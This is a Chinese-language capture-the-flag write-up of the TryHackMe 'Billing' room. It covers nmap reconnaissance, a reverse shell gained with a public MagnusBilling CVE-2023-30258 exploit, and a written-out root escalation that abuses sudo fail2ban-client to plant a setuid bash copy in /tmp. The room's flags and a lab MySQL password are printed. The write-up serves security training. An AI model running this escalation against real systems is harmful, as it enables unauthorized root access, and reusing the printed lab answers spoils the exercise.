<h1>Learn - Billing</h1>
<blockquote>
<a href="https://tryhackme.com/room/billing">https://tryhackme.com/room/billing</a> | <code>esay</code> | Some mistakes can be costly.
</blockquote>
Gain a shell, find the way and escalate your privileges!
Note: Bruteforcing is out of scope for this room.
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Billing nmap -sT -min-rate 5000 -p- 10.10.198.194
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-24 05:28 EDT
Nmap scan report for 10.10.198.194
Host is up (0.35s latency).
Not shown: 65489 filtered tcp ports (no-response), 43 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 46.74 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Billing nmap -sT -A -T4 -O -p 22,80,3306 10.10.198.194 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-24 05:29 EDT
Nmap scan report for 10.10.198.194
Host is up (0.35s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
| http-title: MagnusBilling 
|_Requested resource was http://10.10.198.194/mbilling/
3306/tcp open mysql MariaDB (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 347.72 ms 10.21.0.1
2 347.89 ms 10.10.198.194
</code></pre>
<h2>Web 渗透</h2>
上边 <code>nmap</code> 扫描出一个有趣的目录 <code>/mbilling/</code>
<img src="/post-images/TryHackMeLearn%20-%20Billing/image.png" alt="image.png">
输入账号密码后点击<code>login</code>，进行抓包
<img src="/post-images/TryHackMeLearn%20-%20Billing/image1.png" alt="image.png">
输入的密码是<code>1</code>，可以看到是通过前端加密了的
在网上寻找一下 <code>mbilling</code> 的公开漏洞（PS：现在开始IP为<code>10.10.141.110</code>）
能发现一个CVE：<a href="https://www.ddpoc.com/poc/DVB-2023-4549.html">https://www.ddpoc.com/poc/DVB-2023-4549.html</a>
利用脚本：<a href="https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit">https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit</a>
可以利用脚本反弹<code>shell</code>
<img src="/post-images/TryHackMeLearn%20-%20Billing/image2.png" alt="image.png">
在 <code>magnus</code> 用户家目录能读取<code>user.txt</code>
<pre><code class="hljs language-bash">$ cat user.txt
THM{4a6831d5f124b25eefb1e92e0f0da4ca}
</code></pre>
<h2>提权</h2>
获得<code>shell</code>后准备进行提权
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">$ sudo -l
Matching Defaults entries for asterisk on Billing:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
 Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
 (ALL) NOPASSWD: /usr/bin/fail2ban-client
</code></pre>
能以<code>root</code>权限执行<code>fail2ban-client</code>
能在网上找到文章：<a href="https://juggernaut-sec.com/fail2ban-lpe/">https://juggernaut-sec.com/fail2ban-lpe/</a> | <a href="https://blog.csdn.net/2201_75556043/article/details/146429804">https://blog.csdn.net/2201_75556043/article/details/146429804</a>
<ol>
<li>
并将其配置内容复制到<code>/tmp/fail2ban</code> 里
<pre><code class="hljs language-bash">rsync -av /etc/fail2ban/ /tmp/fail2ban/
</code></pre>
</li>
<li>
然后自定义配置文件，该配置文件将 <code>/bin/bash</code> 移动到 <code>/tmp</code>，然后设置<code>sid</code>
<pre><code class="hljs language-bash">cat > /tmp/script &#x3C;&#x3C;EOF
#!/bin/sh
cp /bin/bash /tmp/bash
chmod 755 /tmp/bash
chmod u+s /tmp/bash
EOF
chmod +x /tmp/script

cat > /tmp/fail2ban/action.d/custom-start-command.conf &#x3C;&#x3C;EOF
[Definition]
actionstart = /tmp/script
EOF

cat >> /tmp/fail2ban/jail.local &#x3C;&#x3C;EOF
[my-custom-jail]
enabled = true
action = custom-start-command
EOF

cat > /tmp/fail2ban/filter.d/my-custom-jail.conf &#x3C;&#x3C;EOF
[Definition]
EOF
</code></pre>
<pre><code class="hljs language-bash">sudo fail2ban-client -c /tmp/fail2ban/ -v restart
</code></pre>
</li>
<li>
最后运行 <code>/tmp/bash</code> 即可
<pre><code class="hljs language-bash">asterisk@Billing:/$ ./tmp/bash -p
bash-5.1# 
</code></pre>
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">bash-5.1# cat root.txt 
THM{33ad5b530e71a172648f424ec23fae60}
bash-5.1# cat passwordMysql.log 
MgnodcVwGxW0xLUN
</code></pre>
</li>
</ol>

TryHackMe - Learn - Billing

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion